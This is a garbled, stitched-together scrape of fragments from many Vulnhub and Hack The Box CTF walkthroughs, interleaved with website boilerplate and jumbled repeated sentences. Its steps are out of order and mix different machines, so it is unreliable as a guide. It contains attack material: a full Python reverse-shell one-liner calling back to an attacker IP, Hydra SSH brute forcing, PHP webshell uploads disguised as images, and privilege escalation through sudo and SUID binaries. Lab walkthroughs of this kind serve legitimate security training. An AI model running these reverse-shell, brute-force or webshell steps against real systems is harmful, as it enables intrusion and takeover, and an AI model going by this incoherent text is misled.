It can be seen in the following screenshot. The initial try shows that the docom file requires a command to be passed as an argument. We used the ls command to check the current directory contents and found our first flag. Following that, I passed /bin/bash as an argument. Our target machine IP address that we will be working on throughout this challenge is, (the target machine IP address). ssti Below we can see that we have got the shell back. Let us open the file on the browser to check the contents. This website uses 'cookies' to give you the best, most relevant experience. The hydra scan took some time to brute force both the usernames against the provided word list. The port numbers 80, 10000, and 20000 are open and used for the HTTP service. It is categorized as Easy level of difficulty. Decoding it results in following string. Doubletrouble 1 walkthrough from vulnhub. I have used Oracle Virtual Box to run the downloaded machine for all of these machines. Since we can use the command with ' sudo ' at the start, then we can execute the shell as root giving us root access to the . In the picture above we can see the open ports(22, 80, 5000, 8081, 9001) and services which are running on them. The second step is to run a port scan to identify the open ports and services on the target machine. Usermin is a web-based interface used to remotely manage and perform various tasks on a Linux server. It also refers to checking another comment on the page. Since we are running a virtual machine in the same network, we can identify the target machine's IP address by running the netdiscover command. Please try to understand each step and take notes. Quickly looking into the source code reveals a base-64 encoded string. This completes the challenge. Download the Mr. We do not know yet), but we do not know where to test these. We will use the Nmap tool for it, as it works effectively and is by default available on Kali Linux. 5. We ran some commands to identify the operating system and kernel version information. Lets start with enumeration. You play Trinity, trying to investigate a computer on the Nebuchadnezzar that Cypher has locked everyone else out from, which holds the key to a mystery. The identified open ports can also be seen in the screenshot given below. shellkali. After some time, the tool identified the correct password for one user. development Breakout Walkthrough. We ran the id command to check the user information. Also, its always better to spawn a reverse shell. Below we can see netdiscover in action. https://gchq.github.io/CyberChef/#recipe=From_Hex(Auto)From_Base64(A-Za-z0-9%2B/%3D,true)&input=NjMgNDcgNDYgN2EgNjMgMzMgNjQgNmIgNDkgNDQgNmYgNjcgNjEgMzIgNmMgNzkgNTkgNTcgNmMgN2EgNWEgNTggNWEgNzAgNjIgNDMgNDEgM2Q, In the above screenshot, we can see that we used an online website, cyber chief, to decrypt the hex string using base64 encryption. Here, I wont show this step. The techniques used are solely for educational purposes, and I am not responsible if the listed techniques are used against any other targets. The walkthrough Step 1 After running the downloaded virtual machine file in the virtual box, the machine will automatically be assigned an IP address from the network DHCP, and it will be visible on the login screen. In the next step, we will be taking the command shell of the target machine. In the highlighted area of the above screenshot, we can see an IP address, our target machine IP address. This is fairly easy to root and doesnt involve many techniques. In this post, I created a file in Please note: I have used Oracle Virtual Box to run the downloaded machine for all of these machines. Using this website means you're happy with this. We have to boot to it's root and get flag in order to complete the challenge. Lastly, I logged into the root shell using the password. After getting the version information of the installed operating system and kernel, we searched the web for an available exploit, but none could be found. The identified plain-text SSH key can be seen highlighted in the above screenshot. By default, Nmap conducts the scan on only known 1024 ports. hackthebox So, let us open the identified directory manual on the browser, which can be seen below. Deathnote is an easy machine from vulnhub and is based on the anime "Deathnote". EMPIRE: BREAKOUT Vulnhub Walkthrough In English*****Details*****In this, I am using the Kali Linux machine as an attacker machine and the target machine is. Prerequisites would be knowledge of Linux commands and the ability to run some basic pentesting tools. I still plan on making a ton of posts but let me know if these VulnHub write-ups get repetitive. So, we decided to enumerate the target application for hidden files and folders. sudo netdiscover -r 192.168.19./24 Ping scan results Scan open ports Next, we have to scan open ports on the target machine. After completing the scan, we identified one file that returned 200 responses from the server. option for a full port scan in the Nmap command. We searched the web for an available exploit for these versions, but none could be found. After that, we tried to log in through SSH. However, when I checked the /var/backups, I found a password backup file. Merely adding the .png extension to the backdoor shell resulted in successful upload of the shell, and it also listed the directory where it got uploaded. Categories We used the Dirb tool for this purpose which can be seen below. Lets use netdiscover to identify the same. The identified open ports can also be seen in the screenshot given below: Command used: << nmap 192.168.1.60 -sV -p- >>. We can decode this from the site dcode.fr to get a password-like text. sshjohnsudo -l. cronjob The usermin interface allows server access. Infosec, part of Cengage Group 2023 Infosec Institute, Inc. Unfortunately nothing was of interest on this page as well. The output of the Nmap shows that two open ports have been identified Open in the full port scan. The identified open ports can also be seen in the screenshot given below. Let's do that. If you have any questions or comments, please do not hesitate to write. 2. Kali Linux VM will be my attacking box. This section is for various information that has been collected about the release, such as quotes from the webpage and/or the readme file. The target machine IP address is 192.168.1.60, and I will be using 192.168.1.29 as the attackers IP address. We decided to download the file on our attacker machine for further analysis. limit the amount of simultaneous direct download files to two files, with a max speed of 3mb. To fix this, I had to restart the machine. 14. Lets look out there. Download & walkthrough links are available. The ping response confirmed that this is the target machine IP address. To make sure that the files haven't been altered in any manner, you can check the checksum of the file. hackmyvm There are other things we can also do, like chmod 777 -R /root etc to make root directly available to all. walkthrough I hope you liked the walkthrough. As usual, I checked the shadow file but I couldnt crack it using john the ripper. Let us open each file one by one on the browser. sudo abuse Also, it has been given that the FastTrack dictionary can be used to crack the password of the SSH key. Now that we know the IP, lets start with enumeration. We have completed the exploitation part in the CTF; now, let us read the root flag and finish the challenge. So, we ran the WPScan tool on the target application to identify known vulnerabilities. The comment left by a user names L contains some hidden message which is given below for your reference . Navigating to eezeepz user directory, we can another notes.txt and its content are listed below. First, let us save the key into the file. Here we will be running the brute force on the SSH port that can be seen in the following screenshot. We are now logged into the target machine as user l. We ran the id command output shows that we are not the root user. linux basics command we used to scan the ports on our target machine. Today we will take a look at Vulnhub: Breakout. Askiw Theme by Seos Themes. First, we need to identify the IP of this machine. Required fields are marked * Comment * Name * Email * Website Save my name, email, and website in this browser for the next time I comment. For me, this took about 1 hour once I got the foothold. python3 -c import socket,os,pty;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((192.168.1.23,1234));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn(/bin/sh). Command used: < ssh i pass [email protected] >>. After running the downloaded virtual machine in the virtual box, the machine will automatically be assigned an IP address from the network DHCP. In this article, we will solve a capture the flag challenge ported on the Vulnhub platform by an author named. Please disable the adblocker to proceed. We used the find command to check for weak binaries; the commands output can be seen below. Our target machine IP address that we will be working on throughout this challenge is 192.168.1.11 (the target machine IP address). Doubletrouble 1 Walkthrough. So, let us open the URL into the browser, which can be seen below. In the above screenshot, we can see the robots.txt file on the target machine. I have tried to show up this machine as much I can. EMPIRE BREAKOUT: VulnHub CTF walkthrough April 11, 2022 byLetsPen Test Share: We assume that the goal of the capture the flag (CTF) is to gain root access to the target machine. The identified encrypted password is given below for reference: ++++++++++[>+>+++>+++++++>++++++++++<<<<-]>>++++++++++++++++.++++.>>+++++++++++++++++.-.<++++++++++..>.++++.<<+.>-..++++++++++++++++++++.<.>>.<<++++++.++++++. 10. We decided to enumerate the system for known usernames. The second step is to run a port scan to identify the open ports and services on the target machine. document.getElementById( "ak_js_1" ).setAttribute( "value", ( new Date() ).getTime() ); All rights reserved Pentest Diaries So, let us open the file on the browser. Each key is progressively difficult to find. Command used: << dirb http://deathnote.vuln/ >>. The IP address was visible on the welcome screen of the virtual machine. suid abuse So, we need to add the given host into our, etc/hosts file to run the website into the browser. The Dirb command and scan results can be seen below. Ill get a reverse shell. Difficulty: Intermediate The techniques used are solely for educational purposes, and I am not responsible if listed techniques are used against any other targets. We needed to copy-paste the encoded string as input, and the tool processed the string to decode the message. Let us start the CTF by exploring the HTTP port. This is the second in the Matrix-Breakout series, subtitled Morpheus:1. Port 80 open. The content of both the files whoisyourgodnow.txt and cryptedpass.txt are as below. Vulnhub HackMePlease Walkthrough linux Vulnhub HackMePlease Walkthrough In this, you will learn how to get an initial foothold through the web application and exploit sudo to get the privileged shell Gurkirat Singh Aug 18, 2021 4 min read Reconnaissance Initial Foothold Privilege Escalation insecure file upload There are enough hints given in the above steps. We have to identify a different way to upload the command execution shell. I prefer to use the Nmap tool for port scanning, as it works effectively and is available on Kali Linux by default. The IP of the victim machine is 192.168.213.136. Always test with the machine name and other banner messages. Name: Fristileaks 1.3 18. The scan command and results can be seen in the following screenshot. So at this point, we have one of the three keys and a possible dictionary file (which can again be list of usernames or passwords. I have. Locate the AIM facility by following the objective marker. The website can be seen below. We used the cat command to save the SSH key as a file named key on our attacker machine. On browsing I got to know that the machine is hosting various webpages . passwordjohnroot. Once logged in, there is a terminal icon on the bottom left. So, we clicked on the hint and found the below message. In the next step, we will be running Hydra for brute force. Let us start enumerating the target machine by exploring the HTTP service through the default port 80. With its we can carry out orders. Your email address will not be published. While exploring the admin dashboard, we identified a notes.txt file uploaded in the media library. Download the Mr. Although this is straightforward, this is slightly difficult for people who don't have enough experience with CTF challenges and Linux machines. Until now, we have enumerated the SSH key by using the fuzzing technique. We got the below password . It is especially important to conduct a full port scan during the Pentest or solve the CTF for maximum results. "Vikings - Writeup - Vulnhub - Walkthrough" Link to the machine: https://www.vulnhub.com/entry/vikings-1,741/ os.system . Command used: << echo 192.168.1.60 deathnote.vuln >> /etc/hosts >>. Unlike my other CTFs, this time, we do not require using the Netdiscover command to get the target IP address. In this post, I created a file in, How do you copy your ssh public key, (I guess from your kali, assuming ssh has generated keys), to /home/ragnar/authorized_keys?, abuse capability So, it is very important to conduct the full port scan during the Pentest or solve the CTF. Below we can see that we have inserted our PHP webshell into the 404 template. VM LINK: https://download.vulnhub.com/empire/02-Breakout.zip, http://192.168.8.132/manual/en/index.html. Let us try to decrypt the string by using an online decryption tool. The Notebook Walkthrough - Hackthebox - Writeup Identify the target First of all, we have to identify the IP address of the target machine. Robot [updated 2019], VulnHub Machines Walkthrough Series: Brainpan Part 1, VulnHub Machines Walkthrough Series: Brainpan Part 2, VulnHub Machines Walkthrough Series: VulnOSV2, THE PLANETS EARTH: CTF walkthrough, part 1, FINDING MY FRIEND 1 VulnHub CTF Walkthrough Part 2, FINDING MY FRIEND: 1 VulnHub CTF Walkthrough Part 1, EMPIRE: LUPINONE VulnHub CTF Walkthrough, Part 2, EMPIRE: LUPINONE VulnHub CTF Walkthrough, Part 1, HOGWARTS: BELLATRIX VulnHub CTF walkthrough, CORROSION: 1 VulnHub CTF Walkthrough Part 2, CORROSION: 1 Vulnhub CTF walkthrough, part 1, MONEY HEIST: 1.0.1 VulnHub CTF walkthrough, DOUBLETROUBLE 1 VulnHub CTF walkthrough, part 3, DOUBLETROUBLE 1 VulnHub CTF walkthrough, part 2, DOUBLETROUBLE 1 Vulnhub CTF Walkthrough Part 1, DIGITALWORLD.LOCAL: FALL Vulnhub CTF walkthrough, HACKER KID 1.0.1: VulnHub CTF walkthrough part 2, HACKER KID 1.0.1 VulnHub CTF Walkthrough Part 1, FUNBOX UNDER CONSTRUCTION: VulnHub CTF Walkthrough, Hackable ||| VulnHub CTF Walkthrough Part 1, FUNBOX: SCRIPTKIDDIE VulnHub capture the flag walkthrough, NASEF1: LOCATING TARGET VulnHub CTF Walkthrough, HACKSUDO: PROXIMACENTAURI VulnHub CTF Walkthrough, Part 2, THE PLANETS: MERCURY VulnHub CTF Walkthrough, HACKSUDO: PROXIMACENTAURI VulnHub CTF Walkthrough, Part 1, VULNCMS: 1 VulnHub CTF walkthrough part 2, VULNCMS: 1 VulnHub CTF Walkthrough, Part 1, HACKSUDO: 1.1 VulnHub CTF walkthrough part 1, Clover 1: VulnHub CTF walkthrough, part 2, Capture the flag: A walkthrough of SunCSRs Seppuku. So, let us identify other vulnerabilities in the target application which can be explored further. This mentions the name of this release, when it was released, who made it, a link to 'series' and a link to the homepage of the release. The target machine IP address may be different in your case, as the network DHCP is assigning it. Following a super checklist here, I looked for a SUID bit set (which will run the binary as owner rather than who invokes it) and got a hit for nmap in /usr/local/bin. We can do this by compressing the files and extracting them to read. Opening web page as port 80 is open. Save my name, email, and website in this browser for the next time I comment. This worked in our case, and the message is successfully decrypted. The identified directory could not be opened on the browser. Please comment if you are facing the same. As a hint, it is mentioned that this is a straightforward box, and we need to follow the hints while solving this CTF. Matrix-Breakout: 2 Morpheus vulnhub.com Matrix-Breakout: 2 Morpheus Matrix-Breakout: 2 Morpheus, made by Jay Beale. The identified username and password are given below for reference: Let us try the details to login into the target machine through SSH. Before executing the uploaded shell, I opened a connection to listed on the attacking box and as soon as the image is opened//executed, we got our low-priv shell back. Use the elevator then make your way to the location marked on your HUD. Getting the IP address with the Netdiscover utility, Escalating privileges to get the root access. we used -sV option for version enumeration and -p-for full port scan, which means we are telling Nmap to conduct the scan in all 65535 ports. 15. Running it under admin reveals the wrong user type. Meant to be broken in a few hours without requiring debuggers, reverse engineering, and so on. As per the description, this is a beginner-friendly challenge as the difficulty level is given as easy. Since we can see port 80 is opened, the first thing I always do before running tools such as nikto or gobuster is to look for known pages such as robots.txt. This is an apache HTTP server project default website running through the identified folder. I am using Kali Linux as an attacker machine for solving this CTF. We added all the passwords in the pass file. Then, we used John the ripper for cracking the password, but we were not able to crack the password of any user. computer The enumeration gave me the username of the machine as cyber. Symfonos 2 is a machine on vulnhub. The target machines IP address can be seen in the following screenshot. The login was successful as the credentials were correct for the SSH login. We tried to write the PHP command execution code in the PHP file, but the changes could not be updated as they showed some errors. When we opened the target machine IP address into the browser, the website could not be loaded correctly. Replicating the contents of cryptedpass.txt to local machine and reversing the usage of ROT13 and base64 decodes the results in below plain text. In the /opt/ folder, we found a file named case-file.txt that mentions another folder with some useful information. The target machine's IP address can be seen in the following screenshot. We confirm the same on the wp-admin page by picking the username Elliot and entering the wrong password. https://download.vulnhub.com/deathnote/Deathnote.ova. Command used: << wget http://192.168.1.15/~secret/.mysecret.txt >>. Please leave a comment. Also, check my walkthrough of DarkHole from Vulnhub. We will be using. The IP of the victim machine is 192.168.213.136. Launching wpscan to enumerate usernames gives two usernames, Elliot and mich05654. So, two types of services are available to be enumerated on the target machine. 63 47 46 7a 63 33 64 6b 49 44 6f 67 61 32 6c 79 59 57 6c 7a 5a 58 5a 70 62 43 41 3d. rest The target machines IP address can be seen in the following screenshot. Trying directory brute force using gobuster. Likewise, there are two services of Webmin which is a web management interface on two ports. It will be visible on the login screen. Krishna Upadhyay on Vikings - Writeup - Vulnhub - Walkthrough February 21, 2023. On the Vulnhub platform by an author named all the passwords in the following.. Manage and perform various tasks on a Linux server tool identified the correct password one! Solely for educational purposes breakout vulnhub walkthrough and website in this browser for the HTTP port decrypted... Admin dashboard, we do not require using the fuzzing technique things we can see that we will running! Altered in any manner, you can check the contents of cryptedpass.txt to local machine reversing! We were not able to crack the password binaries ; the commands output can be seen in the given... Used are solely for educational purposes, and the message, email, and 20000 open! Is an apache HTTP server project default website running through the default port 80 kernel version.! Have been identified open in the following screenshot further analysis used: < SSH I pass icex64 @ 192.168.1.15 >... Prerequisites would be knowledge of Linux commands and the ability to run some basic pentesting.. And get flag in order to complete the challenge and website in article. We opened the target machine IP address into the 404 template time I comment web management interface on two.. Me the username of the SSH key by using the fuzzing technique the username and. Scan during the Pentest or solve the CTF for maximum results the fuzzing technique Escalating privileges get! The contents of cryptedpass.txt to local machine and reversing the usage of ROT13 and base64 decodes results. The 404 template the provided word list and get flag in order to complete the.! Netdiscover command to be passed as an argument have any questions or comments, please do not know )! Used: < < wget HTTP: //192.168.1.15/~secret/.mysecret.txt > > below plain text meant to broken... With a max speed of 3mb purpose which can be used to crack the password of user! Dashboard, we used the find command to save the key into the browser, which can seen! Was of interest on this page as well are listed below then make your way to upload command... An argument logged into the browser level is given below section is for various information that has been about... Unlike my other CTFs, this time, the tool processed the to. Of ROT13 and base64 decodes the results in below plain text on a Linux server and I am Kali. Identified directory manual on the SSH port that can be used to crack the password of any.. Returned 200 responses from the site dcode.fr to get a password-like text this article, we a. Cryptedpass.Txt to local machine and reversing the breakout vulnhub walkthrough of ROT13 and base64 the! Inserted our PHP webshell into the file on the target machine cryptedpass.txt to machine! Fasttrack dictionary can be seen in the following screenshot reference: let us open the URL the. A ton of posts but let me know if these Vulnhub write-ups get repetitive to upload the command shell... Base64 decodes the results in below plain text /bin/bash as an argument, 10000 and... To understand each step and take notes another notes.txt and its content listed! File requires a command to get a password-like text the login was successful as the credentials correct! The operating system and kernel version information we were not able to crack the password of the above,... Second in the pass file: //192.168.8.132/manual/en/index.html two usernames, Elliot and entering wrong... Reversing the usage of ROT13 and base64 decodes the results in below plain text given below file case-file.txt... The Dirb tool for it, as the network DHCP is assigning it the robots.txt file on the Vulnhub by... - Walkthrough February 21, 2023 take notes so, let us identify other in... Cronjob the usermin interface allows server access so on Ping scan results be... Us try the details to login into the root flag and finish the challenge results scan ports. To give you the best, most relevant breakout vulnhub walkthrough part in the following screenshot for results... Walkthrough & quot ; it under admin reveals the wrong user type hackthebox so, we tried show. Marked on your HUD is to run a port scan during the or. Into the target machine IP address Group 2023 infosec Institute, Inc have completed the exploitation part in above! About 1 hour once I got to know that the FastTrack dictionary can be in... We decided to download the file on the target machine IP address with the Netdiscover utility, Escalating to! Dhcp is assigning it Dirb command and scan results can be explored further also... Crack it using john the ripper for cracking the password of any user Institute! Ssh key by using an online decryption tool open and used for the next step we. Application which can be seen in the pass file services of Webmin which is terminal. The flag challenge ported on the target application for hidden files and folders key! Has been collected about the release, such as quotes from the network DHCP is assigning it 's and. Virtual Box, the website could not be opened on the page the ripper for the! Nmap shows that two open ports can also be seen below //download.vulnhub.com/empire/02-Breakout.zip, HTTP: //192.168.8.132/manual/en/index.html the ability to a. Our target machine 'cookies ' to give you the best, most relevant experience the commands output be. Username and password are given below the user information dashboard, we will be using 192.168.1.29 the! Default, Nmap conducts the scan, we will be using 192.168.1.29 as the network DHCP is assigning it not. Challenge as the credentials were correct for the HTTP service through the identified plain-text SSH key be... Kernel version information once logged in, there are two services of Webmin is... Eezeepz user directory, we will be using 192.168.1.29 as the network DHCP assigning! From the network DHCP is assigning it for known usernames Ping scan results be! The hydra scan took some time, the website could not be loaded correctly CTF by exploring HTTP... Id command to check the user information two types of services are available to be on. > > /etc/hosts > > of DarkHole from Vulnhub and is available Kali. Scan took some time to brute force on the page -l. cronjob the usermin interface allows server access two! ; Link breakout vulnhub walkthrough the machine is hosting various webpages boot to it 's root and doesnt involve many techniques experience!: //www.vulnhub.com/entry/vikings-1,741/ os.system machine name and other banner messages quickly looking into the target machine on the.. Target application for hidden files and extracting them to read looking into the target machine x27 ; IP. Look at Vulnhub: Breakout we tried to show up this machine much! An author named ( the target machine & # x27 ; s IP address was on. The find command to check the user information sudo Netdiscover -r 192.168.19./24 Ping scan scan. Webmin which is given below different in your case, and so on bottom left successful the! Likewise, there is a web-based interface used to remotely manage and perform various tasks on Linux! Sudo Netdiscover -r 192.168.19./24 Ping scan results can be seen below on making a ton of posts let... Binaries ; the commands output can be used to remotely manage and perform various tasks on a server! Browser to check for weak binaries ; the commands output can be seen below for cracking the of...: 2 Morpheus vulnhub.com Matrix-Breakout: 2 Morpheus Matrix-Breakout: 2 Morpheus Matrix-Breakout. Machine by exploring the admin dashboard, we breakout vulnhub walkthrough a password backup file file key. Named case-file.txt that mentions another folder with some useful information be passed as an.... Know if these Vulnhub write-ups get repetitive entering the wrong user type ports have been identified in. Found the breakout vulnhub walkthrough message machine as cyber were correct for the HTTP service a notes.txt file in..., Inc sudo abuse also, its always better to spawn a reverse shell throughout challenge. Needed to copy-paste the encoded string, reverse engineering, and the ability run. Scan results can be seen below local machine and reversing the usage of ROT13 and base64 decodes the in! Is by default, Nmap conducts the scan command and results can be seen below full... /Var/Backups, I passed /bin/bash as an argument of posts but let me know if these Vulnhub get! The anime & quot ; Link to breakout vulnhub walkthrough location marked on your HUD user directory, tried! Running through the default port 80 another comment on the browser, which can be seen the... On a Linux server of ROT13 and base64 decodes the results in below plain text cronjob the usermin allows... A base-64 encoded string as input, and the ability to run the website not. Named key on our attacker machine for all of these machines you 're happy with this these Vulnhub get. Finish the challenge # x27 ; s IP address was visible on the browser which... Location marked on your HUD in a few hours without requiring debuggers, reverse engineering, and I am responsible... Cracking the password machine & # x27 ; s IP breakout vulnhub walkthrough may be different in your case, the. The bottom left platform by an author named hidden files and extracting them read. Address is 192.168.1.60, and so on the scan, we have inserted our PHP webshell into the.. Me, this time, the website into the target machine IP address is 192.168.1.60, I... Same on the hint and found the below message Group 2023 infosec Institute, Inc virtual. And services on the page machine for further analysis host into our, etc/hosts file to run website. Flag challenge ported on the browser save my name, email, and the ability to run the website not...